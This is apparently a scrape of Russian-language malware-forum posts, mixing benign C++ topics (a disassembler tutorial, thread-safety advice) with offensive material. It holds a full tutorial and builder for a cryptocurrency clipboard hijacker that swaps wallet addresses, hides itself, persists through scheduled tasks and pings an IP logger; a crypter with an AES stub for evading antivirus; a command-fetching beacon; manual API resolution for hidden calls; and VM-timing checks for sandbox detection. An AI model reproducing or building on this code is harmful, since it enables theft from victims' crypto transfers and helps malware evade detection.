dwOrdinal = AddressOfNameOrdinals[i];
break;
}
}
LPBYTE lpFunctionVA = (LPBYTE)((DWORD)IDH + AddressOfFunctions[dwOrdinal]); // Получаем адрес функции.
// Вот незадача. Функция может переадресовыватся в другую библиотеку. Такое понятие называется - Function Forwarding. Это сделано для обратной совместимости между старым ПО и новыми системами.
// Однако мы сейчас заставим нашу функцию обрабатывать функции, которые форвардятся.
// Если функция форвардится - переменная lpFunctionVA будет содержать значение следующего вида : Название библиотеки, куда ссылается функция.Название функции
// Например : HeapAlloc из Kernel32.dll даст нам результат ntdll.RtlAllocateHeap и так далее.
if (lpFunctionVA > (LPBYTE)IED && lpFunctionVA < (LPBYTE)IED + INH->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].Size) // Определяем, форвардится ли функция.
{
char szDllName[MAX_PATH + 1] = { 0 }; // Буффер для получения названия динамической библиотеки, в которую ссылается функция.
DWORD dwCounter = 0; // Счётчик, нужный нам для цикла.
while (lpFunctionVA[dwCounter] != '.')
{
szDllName[dwCounter] = lpFunctionVA[dwCounter];
dwCounter++;
}
LPSTR lpForwardedFunctionName = (LPSTR)(lpFunctionVA + (dwCounter + 1)); // Извлекаем название функции. + 1 - дабы обойти точку.
HMODULE hKernel32 = GetKernel32(); // Получаем дескриптор модуля Kernel32.
typedef HMODULE(WINAPI* xLoadLibraryA)(LPCSTR lpLibFileName); // Обьявляем прототип функции LoadLibraryA.
xLoadLibraryA pLoadLibraryA = (xLoadLibraryA)pGetProcAddress(hKernel32, "LoadLibraryA"); // Получаем адрес LoadLibraryA.
HMODULE hForwardedLibrary = pLoadLibraryA(szDllName); // Загружаем библиотеку, на которую ссылается функция.
return pGetProcAddress(hForwardedLibrary, lpForwardedFunctionName); // Возвращаем адрес уже настоящей функции.
}
return lpFunctionVA; // Возвращаем адрес функции, если она не форвардится.
}
И теперь давайте попробуем практически использовать вышеприведённый мной код, неявно вызовем месседжбокс :
Code:Copy to clipboard
HMODULE hKernel32 = GetKernel32();
typedef HMODULE(WINAPI* xLoadLibraryW)(LPCWSTR lpLibFileName);
typedef int(WINAPI* xMessageBoxW)(HWND hWnd, LPCWSTR lpText, LPCWSTR lpCaption, UINT uType);
xLoadLibraryW pLoadLibraryW = (xLoadLibraryW)pGetProcAddress(hKernel32, "LoadLibraryW");
HMODULE hUser32 = pLoadLibraryW(L"user32.dll");
xMessageBoxW pMessageBoxW = (xMessageBoxW)pGetProcAddress(hUser32, "MessageBoxW");
pMessageBoxW(NULL, L"Hello, my nickname is dopeware!", NULL, MB_OK);
Кодим дисассемблер своими руками
автор: Great
I. Intro
Эта статья предназначена для тех, кто знает знает язык ассемблера. Если ты его
не знаешь - не огорчайся, есть хороший учебник по ассемблеру В.Юрова, его
можно найти практически в любом книжном магазине. Я расскажу про структуру
машинных команд в архитектуре IA-32, для закрепления знаний и навыком мы
вручную проассемблируем/дисассемблируем несколько команд и накодим простенький
дисассемблер. Для упрощения мы реализуем дисассемб**цию только целочисленных
команд реального режима. Статья написана для тех, кто знаком с языком Си (в
программе используются некоторые конструкции С++, но ООП не используется,
знаний Си будет достаточно).
II. Структура машинных команд IA-32
В общем случае машинная команда состоит из следующих полей:
1. Одобайтовые префиксы (одновременно до 4-х штук). Префиксы ставятся перед
командой для изменения ее действия. Префиксы есть следующие:
- префиксы повторения. Ставятся перед командой для повторения команды
определенное число раз (REP) или до наступления (или, наоборот, до
прекращения) какого-то условия (REPE/REPNE).
- префикс размера операнда. Ставится перед командой для замены действующего
размера операнда на 16/32 бит. Опкод - 66h
- префикс размера адреса. Аналогично предыдущему, но для размера адреса.
Опкод - 67h
- префикс замены сегмента. Используется для явного указания сегментной
составляющей адреса для следующей команды. Например:
CS: MOV EAX, DWORD PTR [100]
Без префикса в EAX окажется число по адресу DS:[100], с префиксом CS: адрес
будет CS:[100]. Опкоды: CS=2e, DS=3e, ES=26h, SS=36, FS=64, GS=65.
- префикс блокировки шины (LOCK). Используется для синхронизаций действий
процессора и сопроцессора. Опкод:f0h
2. Код операции (1 байт, если первый байт=0f, то 2 байта. Иногда 0f
пречисляют к префиксам, но я склонен относить его к коду операции)
3. байт mod r/m, кодирующий формат операндов команды. Имеет такую структуру:
Биты 7-6 -- поле mod. Кодирует тип адресации
Биты 5-3 -- поле reg/КОП. Кодирует второй регистр команды (под первым
регистром понимаем регистр, участвующий в адресации), либо пордолжает код
операции, размер которого составляет тогда в совокупности 11 байт.
Биты 2-0 -- поле r/m. Кодирует первый(-е) регистр(-ы), участвующий(-е) в
адресации
Для упрощения нашей жизни есть специальные таблицы со всеми возможными
значениями байта mod r/m.
4. байт sib (scale, index, base). Кодирует 32-разрядную косвенную адресацию
5. Смещение в команде
6. Непосредственный операнд
Все числа по законам процессора Intel записываются в памяти в обратном порядке
следования байт. То есть, число 12345678h будет записано как 78 56 34 12.
Приведу пример команды:
Code:Copy to clipboard
2E C786 4E5F 3412 mov word cs:[bp+0x5f4e],0x1234
^ ^ ^ ^ ^
1 2 3 4 5
Здесь цифрами обозначено:
1 - префикс замены сегмента 2e
(CS
2 - опкод C7 (MOV)
3 - байт mod r/m
4 - смещение в команде (5f4e, записанное в обратном порядке следования байт)
5 - операнд (1234, в обратном порядке)
Ну вот вроде теперь все ясно насчет структуры машинной команды и мы перейдем к
написанию дисассемблера.
III. Кодинг
Я уже написал скелет дисассемблера (сорцы ты найдешь в приложении к статье).
Я лишь объясню тебе принцип действия и назначение каждой функции. Итак, начнем
с осмотра файлов:
interface.cpp - интерфейс. Содержит функцию main() и прочую чушь - открытие
входного файла, чтение и проч.
disasm.cpp - тут самое главное. Функция disasm()
disasm_help.cpp - вспомогательные функции дисассемблера
disasm.h - хидер. Прототипы функций и объявления статических переменных
(таблиц).
В интерфейсе ничего интересного нет, разберешься без меня. Теперь
дисассемблер.
Думаю, стоит пояснить назначение каждой функции:
- void disasm(unsigned char*,int);
основная функция. Выводит дисассемблерный листинг. Первый параметр - указатель
на расположенный в памяти код, второй - длина кода
- void parse_mod_rm(unsigned char mod_rm, unsigned int *mod, unsigned int
*reg, unsigned int rm);
извлекает из байта mod r/m соотв. поля и заносит их по адресам, переданным в
виде параметров mod, reg, rm.
- char get_address_by_mod_rm(unsigned int mod, unsigned int rm, int
*offsetsize, int regsize, int *isaddress);
ты самая функция, которая интерпретирует значение байта mod r/m. Передаваемые
параметры:
mod, rm - значения соотв. полей, извлеченные функцией parse_mod_rm()
*offsetsize - адрес переменной, куда будет записан размер смещения
regsize - текущий размер операнда (бит). Допустимые значения - 8, 16, 32
isaddress - адрес переменной, куда будет записано, является ли возвращенная строка адресом или нет (0 - нет, 1 - является).
Функция ищет соотв. значение в таблице (закодированной с оригинальных таблиц
байта mod r/m) и возвращает результат в виде строки
Назначение переменных:
int chopsize=0, // флаг размера операнда (CHange OPerand SIZE)
chaddrsize=0; // флаг размера адреса (CHange ADDRess SIZE)
unsigned int mod=0,reg=0,rm=0; // значения полей байта mod r/m, извлекаемые
parse_mod_rm()
int offsetsize=0; // размер смещения
char adr=0; // принимает строку, возвращаемую get_address_by_mod_rm(). Может
содержать адрес, но не обязан. Зависит от значения полей mod и rm.
int isaddress=0; // является ли строка в предыдущей переменной адресом.
(0-нет, 1-да)
После этого рассмотрим как все эти функции применяются вместе.
Префиксы:
case 0x66:
chopsize=1;
ip++;
goto switch__;
break;
тут все просто. Устанавливаем флаг и переходим к свитчу снова (замечу, что
нельзя просто пройти далее, сделав break - тогда следующая команда будет на
новой строке, а эта останется пуста - мы ведь ничего не выводим).
Однобайтовые команды:
case 0x37:
printf("AAA\n");
break;
Думаю, и так все ясно =). Пояснений не даю.
Двухбайтовые:
case 0xd5:
printf("AAD");
ip++;
if(*ip==0x0a)
printf("\n");
else printf(" %x\n", *ip);
break;
Это чуток сложней предыдущего. Дело в том, что команда принимает аргумент -
основание системы счисления для пересчета BCD-чисел. Но если он равен 10 (0a),
он обычно не выводится. Поэтому от его значения мы решаем - выводить операнд
или нет.
case 0xeb:
ip++;
printf("JMP %x\n", *ip+1);
break;
Команда ближнего безусловного перехода (JMP NEAR). Адрес задается одним
байтом.
Теперь пример сложной команды - MOV.
case 0x8b: // команда mov r/m16/32, r/m16/32
printf("MOV "); // выводим мнемонику
ip++; // переходим к следующему байту
parse_mod_rm(*ip, &mod, ®, &rm); // анализируем байт mod r/m
if(chopsize) // не установлен ли префикс размера операнда? Если да:
{
adr=get_address_by_mod_rm(mod, rm, &offsetsize, 32, &isaddress); // получаем
адрес по полю mod r/m
if(isaddress) // выводим операнды
printf("%s,[%s]\n", regs32[reg], adr); // команда вида mov регистр, [регистр]
else
printf("%s,%s\n", regs32[reg], adr); // команда вида mov регистр, регистр
chopsize=0; // сбрасываем флаг размера операнда
}
else // ... если нет:
{
adr=get_address_by_mod_rm(mod, rm, &offsetsize, 16, &isaddress);
if(isaddress)
printf("%s,[%s]\n", regs16[reg], adr); // команда вида mov регистр, [регистр]
else
printf("%s,%s\n", regs16[reg], adr); // команда вида mov регистр, регистр
}
break;
Сначала мы выводим мнемонику команды, чтоб понять, что это именно MOV, а не
PUSH и не IRET. Потом мы парсим байт mod r/m и, в зависимости от
установленного флага размера операнда (устанавливается при анализе соотв.
префикса) выводим операнды.
Теперь тебе все должно быть понятно. Естественно, я не стал писать полноценный
дисассемблер. Это лишь скелет.
Дописать еще несколько команд предлагаю в качастве домашнего задания. Приведу
описание нескольких команд, не реализованных в моем дисассемблере:
- INT ;генерация прерывания
опкод: CD XX, XX - номер прерывания.
- PUSH reg ;заталкивание в стек регистра общего назначения
опкод: (50+rd), rd - регистр общего назначения из таблицы:
0 - EAX
1 - ECX
2 - EDX
3 - EBX
4 - ESP
5 - EBP
6 - ESI
7 - EDI
На этом все, удачного компилирования =)
Прикрепленные файлы - сорцы дисассемблера
Форуму привет. Сейчас я расскажу как писать правильно писать асинхронные
приложения под Windows.
Примером у нас будет такая задача: нам нужно сделать выполнение цикла в
нескольких потоках, и при достижении определённого
количества итераций остановить потоки, незнающий человек напишет примерно
такой код:
C++:Copy to clipboard
#include <windows.h>
#include <shlwapi.h>
int value = 0;
void worker() {
while (1) {
//do something
value+=10;
}
}
int main() {
HANDLE hThreads[4];
for (int i = 0; i < 4; i++) {
hThreads[i] = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)worker, 0, 0, 0);
}
while (1) if (value >= 1000) for (int i = 0; i < 4; i++) TerminateThread(hThreads[i], 0);
}
Но ошибка тут в.... value++
Суть в том, что value++ это набор асм инструкций, а что будет если из-за того,
что это мультитред эти инстуркции выполнятся по очереди.
Значение будет уже не достоверным, для этого есть атомарные Interlocked
функции, в нашем случаее нам нужна InterlockedExchange
Правильная версия кода:
C++:Copy to clipboard
#include <windows.h>
#include <shlwapi.h>
volatile ULONGLONG value = 0;//volatile - флаг который говорит компилятору что переменную не нужно оптимизировать
void worker() {
while (1) {
//do something
InterlockedExchange(&value, 10);
//1 это значение на изменение, если там было-бы -1 то получился бы декримент
}
}
int main() {
HANDLE hThreads[4];
for (int i = 0; i < 4; i++) {
hThreads[i] = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)worker, 0, 0, 0);
}
while (1) if (value >= 1000) for (int i = 0; i < 4; i++) TerminateThread(hThreads[i], 0);
}
А вообще написание качевственного асинхронного софта очень сложное занятие.
Впервые взялся за c++ , очень нужна помощь, как написать код что бы он скачивал по ссылке файл и запускал его? Искал чёт не нашёл в инете
Я абсолютно зеленый на плюсах и хочу задать такой вопрос т.к в интернете я ничего не нашел.. Почему на плюсах слетают обычные вещи в игре после каких-то обновлений? Появляются баги с текстурами, модельками и прочее?
C++:Copy to clipboard
BOOL pCopyFile(LPWSTR SourceFilePath, LPWSTR DestinationFilePath)
{
BOOL Return = FALSE;
if (!SourceFilePath || !DestinationFilePath)
{
#ifdef __DEBUG
OutputDebugStringW(L"Utils::pCopyFile - error occured. One of the passed parameters is NULL.");
#endif
return Return;
}
if (GetFileAttributesW(DestinationFilePath) != INVALID_FILE_ATTRIBUTES)
{
#ifdef __DEBUG
OutputDebugStringW(L"Utils::pCopyFile - error occured. Destination file already exists.");
#endif
return Return;
}
HANDLE SourceFileHandle = CreateFileW(SourceFilePath, GENERIC_READ, 0, NULL, OPEN_EXISTING, 0, NULL);
if (SourceFileHandle == INVALID_HANDLE_VALUE)
{
#ifdef __DEBUG
OutputDebugStringW(L"Utils::pCopyFile - error occured. Can't obtain handle of the source file.");
#endif
goto Cleanup;
}
HANDLE DestinationFileHandle = CreateFileW(DestinationFilePath, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, 0, NULL);
if (DestinationFileHandle == INVALID_HANDLE_VALUE)
{
#ifdef __DEBUG
OutputDebugStringW(L"Utils::pCopyFile - error occured. Can't obtain handle of the destination file.");
#endif
goto Cleanup;
}
HANDLE FileMappingHandle = CreateFileMappingW(SourceFileHandle, NULL, PAGE_READONLY, 0, 0, NULL);
if (!FileMappingHandle)
{
#ifdef __DEBUG
OutputDebugStringW(L"Utils::pCopyFile - error occured. Can't create file mapping.");
#endif
goto Cleanup;
}
LPVOID FileData = MapViewOfFile(FileMappingHandle, FILE_MAP_READ, 0, 0, 0);
if (!FileData)
{
#ifdef __DEBUG
OutputDebugStringW(L"Utils::pCopyFile - error occured. Can't map file to memory.");
#endif
goto Cleanup;
}
DWORD BytesWritten = 0;
if (!WriteFile(DestinationFileHandle, FileData, GetFileSize(SourceFileHandle, NULL), &BytesWritten, NULL))
{
#ifdef __DEBUG
OutputDebugStringW(L"Utils::pCopyFile - error occured. Can't write data to the destination file.");
#endif
goto Cleanup;
}
Return = TRUE;
Cleanup:
if (SourceFileHandle)
{
CloseHandle(SourceFileHandle);
}
if (DestinationFileHandle)
{
CloseHandle(DestinationFileHandle);
}
if (FileData)
{
UnmapViewOfFile(FileData);
}
return Return;
}
Spoiler: code
Code:Copy to clipboard
#include <windows.h>
#include "Network.h"
#include "Memory.h"
#define WEB_SERVER "google.com"
BOOL Network::IntializeNetwork() {
WSADATA wsa;
if (WSAStartup(MAKEWORD(2, 2), &wsa) == 0) return 1;
return 0;
}
CHAR* Network::getCommand(LPCSTR computerInfo) {
if (SOCKET sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) {
if (HOSTENT* he = gethostbyname(WEB_SERVER)) {
struct sockaddr_in addr;
memcpy(&addr.sin_addr, he->h_addr_list[0], he->h_length);
addr.sin_family = AF_INET;
addr.sin_port = htons(80);
if (connect(sock, (struct sockaddr*)&addr, sizeof(addr)) != INVALID_SOCKET) {
char* buffer = (char*)_alloc(65536);
const char* request = "POST /command.php HTTP/1.1\r\n"
"Host: " WEB_SERVER "\r\n"
"User-Agent: ************ ***** ** * ***\r\n"
"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3\r\n"
"Accept-Encoding: gzip, deflate\r\n"
"Accept-Language: en-us;q=0.7,en;q=0.3\r\n"
"Accept-Charset: windows-1251,utf-8;q=0.7,*;q=0.7\r\n"
"Connection: keep-alive\r\n\r\n";
if (send(sock, request, lstrlenA(request), 0) > 0) {
if (send(sock, computerInfo, lstrlenA(computerInfo), 0) > 0) {
_memset(buffer, 0, 65536);
if (recv(sock, buffer, 65535, 0) > 0) {
goto end;
}
}
}
end:;
closesocket(sock);
return buffer;
}
}
}
}
я использую
C#:Copy to clipboard
new Thread(() => { Thread.Sleep(10000); Application.Exit(); }).Start();
что бы при запуске программы само закрылось через 10 сек. моя прога копируется в другой раздел и удаляет основной exe , как сделать чтобы копия программы тоже не закрывалось через 10 сек?)
Доброго времени суток!
Клиппер - вредоносная программа, которая мониторит буффер обмена на наличие
каких либо данных, и, в случае их нахождения, заменяет
на указанные. Таким образом, жертва может отправить деньги на кошелек
злоумышленника.
В сегодняшней статье мы напишем клиппер на языке C#. Также в этой статье мы рассмотрим создание билдера малвари.
Билд
Алгоритм работы клиппера:
Код можно писать прямо в блокноте тк позже мы добавим его в ресурсы билдера.
Функция мониторинга процессов. В случае обнаружения диспетчера задач закрывем приложение:
Code:Copy to clipboard
static void Monitor() {
while (true) {
try {
foreach(Process item in Process.GetProcesses())
if (item.ProcessName.ToLower() == "taskmgr" ||
item.ProcessName.ToLower() == "processhacker" ||
item.ProcessName.ToLower() == "procexp")
Environment.Exit(0);
Thread.Sleep(500);
} catch {}
}
}
Переходим к Main. Задаем путь к файлу:
Code:Copy to clipboard
string path = Environment.GetEnvironmentVariable("[path]") + "\\" + "[filename]";
path], [filename] и проч. - значения, которые будут заменены билдером при компиляции.
Устанавливаем клиппер если он не установлен:
Code:Copy to clipboard
if (!File.Exists(path)) {
File.Copy(Assembly.GetEntryAssembly().Location, path);
// Самоудаление и добавление в планировщик заданий
ProcessStartInfo proc = new ProcessStartInfo();
proc.Arguments = "/C choice /C Y /N /D Y /T 3 & Del \"" + Assembly.GetEntryAssembly().Location + "\" & schtasks /create /tn \\" + Path.GetRandomFileName().Split('.')[0] + "\\" + Path.GetRandomFileName().Split('.')[0] + " /tr " + path + " /st 00:00 /du 9999:59 /sc daily /ri 1 /f";
proc.WindowStyle = ProcessWindowStyle.Hidden;
proc.CreateNoWindow = true;
proc.FileName = "cmd.exe";
// Ставим аттрибуты Скрытый и Системный на файл
File.SetAttributes(path, FileAttributes.Hidden | FileAttributes.System);
// Стучим в IPLogger
try {
HttpWebRequest http = (HttpWebRequest) WebRequest.Create("[iplogger]");
http.UserAgent = "New user!";
http.GetResponse();
} catch {}
Process.Start(proc);
Environment.Exit(0);
}
Запустим в новом потоке мониторинг процессов:
Code:Copy to clipboard
Thread th = new Thread(Monitor); // Чекаем процессы в отдельном потоке
th.Start();
Напишем цикл, отвечающий за подмену кошельков. Сверяем по Regex данные в буффере, и если там есть кошелек осуществляем замену. Для примера я использовал три кошелька (два BTC и один ETH), вы можете добавить свои.
Code:Copy to clipboard
while (true) {
string idat_old = string.Empty;
string idat = string.Empty;
Thread.Sleep(500);
try {
if (Clipboard.ContainsText()) {
idat = Clipboard.GetText();
if (idat != idat_old) {
// Ищем в clipboard адреса и если находим заменяем
if (new Regex("^1[a-km-zA-HJ-NP-Z1-9]{25,34}$").IsMatch(idat)) {
new Thread(() => {
Clipboard.SetText("[btcwallet1]");
}) {
ApartmentState = ApartmentState.STA
}.Start();
}
if (new Regex("^3[a-km-zA-HJ-NP-Z1-9]{25,34}$").IsMatch(idat)) {
new Thread(() => {
Clipboard.SetText("[btcwallet2]");
}) {
ApartmentState = ApartmentState.STA
}.Start();
} else if (new Regex("^0x[a-fA-F0-9]{40}$").IsMatch(idat)) {
new Thread(() => {
Clipboard.SetText("[ethwallet]");
}) {
ApartmentState = ApartmentState.STA
}.Start();
}
idat_old = idat;
}
}
} catch {}
}
С клиппером закончили. Сохраняем код в txt файл. Переходим к билдеру.
Билдер
Алгоритм работы билдера:
Создаем проект WindowsForms. По-быстрому набросаем форму:
Переходим к коду. Добавим пару юзингов:
Code:Copy to clipboard
using Microsoft.CSharp;
using System.CodeDom.Compiler;
В обработчике кнопки пишем:
Code:Copy to clipboard
CompilerParameters Params = new CompilerParameters(); // Параметры компилируемой сборки
Params.IncludeDebugInformation = false;
Params.CompilerOptions = " /t:winexe /platform:x86";
Params.OutputAssembly = "build.exe";
Params.ReferencedAssemblies.Add("System.Windows.Forms.dll");
Params.ReferencedAssemblies.Add("System.dll");
string Source = Properties.Resources.Source;
Source = Source.Replace("[btcwallet1]", textBox1.Text); // Заменяем нужные значения в сурсе
Source = Source.Replace("[btcwallet2]", textBox2.Text);
Source = Source.Replace("[ethwallet]", textBox3.Text);
Source = Source.Replace("[path]", comboBox1.SelectedItem.ToString());
Source = Source.Replace("[filename]", textBox4.Text);
Source = Source.Replace("[iplogger]", textBox5.Text);
var settings = new Dictionary < string,
string > ();
settings.Add("CompilerVersion", "v4.0");
CompilerResults Results = new CSharpCodeProvider(settings).CompileAssemblyFromSource(Params, Source);
if (Results.Errors.Count > 0) {
foreach(CompilerError err in Results.Errors)
MessageBox.Show(err.ToString()); //Вывод ошибок
}
MessageBox.Show("Done!", "Success");
Добавляем в ресурсы билдера сурс клиппера:
Компилируем билдер.
Детект билда: https://avcheck.net/id/oGkjgtdwEVdI
После крипта:
Исходники: https://github.com/onek1lo/SimpleClipper
Как сделать криптор
Как всем известно, билды различной малвари (особенно паблик) имеют достаточно большой скантайм детект. В этой статье мы сделаем простой криптор .net приложений на c#.
Кто виноват? Что делать?
Скантайм - сигнатурный детект, который вешают антивирусы на ваш файл.
Например, Gen детекты.
Рантайм - детект при запуске файла, своего рода поведенческая сигнатура.
Наример, NJRat копирует себя в %TEMP%, создает
свою копию в папке автозапуска и прочее. Эта модель поведения занесена в базы
антивирусов.
Наша задача - убрать сигнатуры и изменить поведение файла; другими словами мы напишем оболочку для нашего файла.
Глаза боятся, а руки из жопы
Первым делом ознакомимся cо статьей небезызвестного 1ms0rry:
[https://ims0rry.tumblr.com/post/167338238375/крипт-net-приложения-на-примере-
orcus-
rat](https://ims0rry.tumblr.com/post/167338238375/%D0%BA%D1%80%D0%B8%D0%BF%D1%82-net-%D0%BF%D1%80%D0%B8%D0%BB%D0%BE%D0%B6%D0%B5%D0%BD%D0%B8%D1%8F-%D0%BD%D0%B0-%D0%BF%D1%80%D0%B8%D0%BC%D0%B5%D1%80%D0%B5-orcus-
rat)
Чтож, такой крипт хоть и работает, но держит недолго.
В нашем проекте мы будем использовать стабы.
Стаб
Стаб - небольшая программа, "сердце" криптора, кторая отвечает за запуск
шифрованного файла, антиэмуляцию и прочие плюшки.
Для начала напишем именно стаб.
Структура стаба будет такова:
-Сам стаб
-Слово-разделитель
-Ключ расшифровки
-Слово-разделитель
-Шифрованные данные
Алгоритм работы стаба:
Нашим словом-разделителем будет "keeeek".
Приступим к написанию кода. Открываем Visual Studio, создаем консольное приложение на .net 4.0.
Первым делом добавим функцию расшифровки:
Code:Copy to clipboard
public static byte[] Decrypt(byte[] input, string key) {
PasswordDeriveBytes pdb =
new PasswordDeriveBytes(key,
new byte[] {
0x43,
0x87,
0x23,
0x72
});
MemoryStream ms = new MemoryStream();
Aes aes = new AesManaged();
aes.Key = pdb.GetBytes(aes.KeySize / 8);
aes.IV = pdb.GetBytes(aes.BlockSize / 8);
CryptoStream cs = new CryptoStream(ms,
aes.CreateDecryptor(), CryptoStreamMode.Write);
cs.Write(input, 0, input.Length);
cs.Close();
return ms.ToArray();
}
Переходим к Main. Ставим рандомную задержку (5-20 секунд):
Code:Copy to clipboard
Thread.Sleep(new Random(Environment.TickCount).Next(5000, 20000));
Получаем в строки необходимые данные:
Code:Copy to clipboard
string data = File.ReadAllText(Assembly.GetEntryAssembly().Location); // Считываем файл
string key = new Regex("keeeek.*keeeek").Matches(data)[0].Value.Replace("keeeek", ""); // Считываем ключ
string file = Regex.Split(data, "keeeek")[2]; // Считываем base64 строку
Далее загрузим расшифрованную сборку:
Code:Copy to clipboard
Assembly assembly = Assembly.Load(Decrypt(Convert.FromBase64String(file), key)); // Расшифровываем и загружаем сборку
assembly.EntryPoint.Invoke(null, new object[] { new string[] { } });
Учтите, что Mian может не принимать аргументов вообще!
В настройках проекта ставим конфигурацию Release и платформу x86, тип выходных
данных - приложение Windows. Компилируем проект.
На этом со стабом покончили. Далее идет самая простая часть - написание самого
криптора.
Криптор
Алгоритм работы криптора:
Создаем приложение WindowsForms, кидаем на него конпку:
Дважды кликаем по ней и пишем в методе код:
Code:Copy to clipboard
OpenFileDialog op = new OpenFileDialog(); // Окно для выбора файла
op.ShowDialog();
Далее проинициализируем переменные:
Code:Copy to clipboard
string filename = op.FileName; // Имя файла
byte[] stub = File.ReadAllBytes("stub.exe"); // Имя стаба - кладем в папку с критором
string key = Path.GetRandomFileName().Split('.')[0]; // Рандомный ключ
byte[] encrypted = Encrypt(File.ReadAllBytes(filename), key); // Шифрованный файл
byte[] base64 = Encoding.UTF8.GetBytes(Convert.ToBase64String(encrypted)); // Получаем шифрованный файл в Base64 строку
Теперь, когда все данные получены, просто запишем все в новый файл:
Code:Copy to clipboard
FileStream fs = new FileStream("output.exe", FileMode.CreateNew, FileAccess.Write);
fs.Write(stub, 0, stub.Length);
fs.Write(Encoding.UTF8.GetBytes("keeeek"), 0, Encoding.UTF8.GetBytes("keeeek").Length);
fs.Write(Encoding.UTF8.GetBytes(key), 0, Encoding.UTF8.GetBytes(key).Length);
fs.Write(Encoding.UTF8.GetBytes("keeeek"), 0, Encoding.UTF8.GetBytes("keeeek").Length);
fs.Write(base64, 0, base64.Length);
fs.Close();
Чуть не забыл, добавим функцию шифрования:
Code:Copy to clipboard
public static byte[] Encrypt(byte[] input, string key) {
PasswordDeriveBytes pdb =
new PasswordDeriveBytes(key,
new byte[] {
0x43,
0x87,
0x23,
0x72
});
MemoryStream ms = new MemoryStream();
Aes aes = new AesManaged();
aes.Key = pdb.GetBytes(aes.KeySize / 8);
aes.IV = pdb.GetBytes(aes.BlockSize / 8);
CryptoStream cs = new CryptoStream(ms,
aes.CreateEncryptor(), CryptoStreamMode.Write);
cs.Write(input, 0, input.Length);
cs.Close();
return ms.ToArray();
}
Ну вот и все, криптор готов.
Кладем стаб к криптору и начинаем тестить.
Для примера закриптуем билд стиллера TRON Project.
Как чистить стабы?
Ну и конечно же изменять алгоритм работы стаба.
После добавления в стаб мусорного кода, информации из другого файла и
обфускации стаба сверху получился следующий детект:
Я думаю всем понятно, что сканить стабы/криптованные билды на вирустотале и аналогах не нужно
На этом все!
Исходники: https://github.com/onek1lo/Simple-Crypter
Тестируем такой вот простенький код
HANDLE hEvent = CreateEvent manual reset, nonsignaled
ULONG64 ft1, ft2;
ULONG64 cur;
ULONG64 imin = -1;
ULONG64 imax = 0;
while (true) {
for (int i = 0; i < 100; i++) {
GetSystemTimeAsFileTime((FILETIME*)&ft1);
WaitForSingleObject hEvent, 10ms, no alertable
GetSystemTimeAsFileTime((FILETIME*)&ft2);
cur = ft2 - ft1;
if (cur < imin) imin = cur;
if (cur > imax) imax = cur;
}
print "min %x, max %x\n", imin, imax
}
собираем статистику. (сорян что в хексе)
w7 64 варя
min 26160, max 26161
min 26160, max 26161
min 26160, max 26161
удивительно но интервалы одинаковые на протяжении пары минут
...
w10 варя
min 25249, max 38524
min 25249, max 38524
min 24fec, max 38524
min 24fec, max 38524
min 24fec, max 38524
min 24fec, max 38524
min 186c7, max 38524
min 186c7, max 387ab
min 186c7, max 387ab
min 186c7, max 387ab
min 186c7, max 387ab
min 186c7, max 387ab
min 186c7, max 387ab
min 186c7, max 387ab
min 186c7, max 387ab
min 186c7, max 387ab
min 186c7, max 387ab
min 186c7, max 387ab
min 186c7, max 387ab
min 186c7, max 387ab
min 186c7, max 387ab
min 186c7, max 387ab
min 186c7, max 387ab
min 186c7, max 387ab
min 186c7, max 387ab
min 186c7, max 387ab
min 186c4, max 3d2c7
min 186c4, max 3d2c7
...
w10 живая
min 1877a, max 187e7
min 18775, max 187e9
min 18775, max 187e9
min 18769, max 187fb
min 18737, max 1882a
min 1870e, max 18859
min 186f6, max 1886e
min 186f6, max 18885
min 186f6, max 18885
min 186f6, max 18885
min 186f6, max 18885
min 186f6, max 18885
min 186f6, max 18885
min 186f6, max 18885
min 186f6, max 18885
min 186f6, max 18885
min 186f6, max 18885
min 186f6, max 18885
min 186f6, max 18885
min 186f6, max 18885
min 186f6, max 18885
min 186f6, max 18885
min 186f6, max 19b49
min 186f6, max 19b49
min 186d6, max 19b49
min 186d6, max 19b49
min 186d6, max 19b49
min 186d6, max 19b49
min 186d6, max 19b49
min 186d6, max 19b49
min 186d6, max 19b49
min 186d6, max 19b49
min 186d6, max 19b49
min 186d6, max 19b49
min 186d6, max 19b49
min 186d6, max 19b49
min 186d6, max 19b49
min 186d6, max 19b49
min 186d6, max 19b49
min 186d6, max 19b49
min 186b6, max 19b49
min 186b6, max 19b49
min 186b6, max 19b49
min 186b6, max 19b49
min 186b6, max 19b49
min 186b6, max 19b49
min 186b6, max 19b49
min 186b6, max 19b49
min 186b6, max 19b49
min 186b6, max 19b49
min 186b6, max 19b49
min 186b6, max 19b49
min 186b6, max 19b49
min 186b6, max 19b49
min 186b6, max 19b49
min 186b6, max 19b49
min 186b6, max 19b49
min 186b6, max 19b49
min 186b6, max 19b49
min 186b6, max 19b49
min 186b6, max 19b49
min 186b6, max 19b49
min 186b6, max 19b49
min 186b6, max 19b49
min 186b6, max 19b49
min 186b6, max 19b49
min 186b6, max 19b49
min 186b6, max 19b49
min 186b6, max 19b49
min 186b6, max 19b49
min 186b6, max 19b49
min 186b6, max 19b49
min 186b6, max 19b49
min 186b6, max 19b49
min 186b6, max 19b49
min 186b6, max 19b49
min 186b6, max 19b49
min 186ae, max 19b49
min 186ae, max 19b49
min 186ae, max 19b49
min 186ae, max 19b49
min 186ae, max 19b49
min 186ae, max 19b49
min 186ae, max 19b49
min 186ae, max 19b49
min 186ae, max 19b49
min 186ae, max 19b49
min 186ae, max 19b49
min 186ae, max 19b49
min 186ae, max 19b49
min 186ae, max 19b49
min 186ae, max 19b49
min 186ae, max 19b49
min 186ae, max 19b49
min 186ae, max 19b49
min 186ae, max 19b49
min 186ae, max 19b49
min 186ae, max 19b49
min 186ae, max 19b49
min 186ae, max 19b49
min 186ae, max 19b49
min 186ae, max 19b49
min 186ae, max 19b49
min 186ae, max 19b49
min 186ae, max 19b49
min 186ae, max 19b49
min 186ae, max 19b49
min 186ae, max 19b49
min 186ae, max 19b49
min 186ae, max 19b49
min 186ae, max 19b49
min 186ae, max 19b49
min 186ae, max 19b49
min 186ae, max 19b49
min 186ae, max 19b49
min 186ae, max 19b49
min 186ae, max 19b49
min 186ae, max 19b49
min 186ae, max 19b49
min 186ae, max 19b49
min 186ae, max 19b49
